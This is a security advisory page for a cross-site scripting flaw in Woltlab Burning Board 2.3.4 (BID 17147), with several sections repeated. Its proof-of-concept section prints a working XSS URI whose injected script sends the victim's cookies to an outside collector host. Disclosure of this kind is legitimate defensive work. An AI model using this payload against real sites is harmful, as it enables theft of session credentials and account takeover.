Woltlab Burning Board Class_DB_MySQL.PHP Cross-Site Scripting Vulnerability
BID:17147
Info
Woltlab Burning Board Class_DB_MySQL.PHP Cross-Site Scripting Vulnerability
| Bugtraq ID: | 17147 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 18 2006 12:00AM |
| Updated: | Mar 20 2006 09:24PM |
| Credit: | [email protected] is credited with the discovery of this vulnerability. |
| Vulnerable: |
Woltlab Burning Board 2.3.4 |
| Not Vulnerable: | |
Discussion
Woltlab Burning Board Class_DB_MySQL.PHP Cross-Site Scripting Vulnerability
Woltlab Burning Board is prone to a cross-site scripting vulnerability. This issue is due to a lack of proper sanitization of user-supplied input.
An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks.
Woltlab Burning Board is prone to a cross-site scripting vulnerability. This issue is due to a lack of proper sanitization of user-supplied input.
An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks.
Exploit / POC
Woltlab Burning Board Class_DB_MySQL.PHP Cross-Site Scripting Vulnerability
This issue can be exploited using a web client.
The following proof-of-concept URI is available:
http://www.example.com/filebase_redirect.php?fid='<script>location.href='http://yoursite.com/xss.php?cook='+escape(document.cookie)</script>
This issue can be exploited using a web client.
The following proof-of-concept URI is available:
http://www.example.com/filebase_redirect.php?fid='<script>location.href='http://yoursite.com/xss.php?cook='+escape(document.cookie)</script>
Solution / Fix
Woltlab Burning Board Class_DB_MySQL.PHP Cross-Site Scripting Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
References
Woltlab Burning Board Class_DB_MySQL.PHP Cross-Site Scripting Vulnerability
References:
References:
- CityForFree Product Page (CityForFree)
- Xss in Wbb 2.3.4 ([email protected])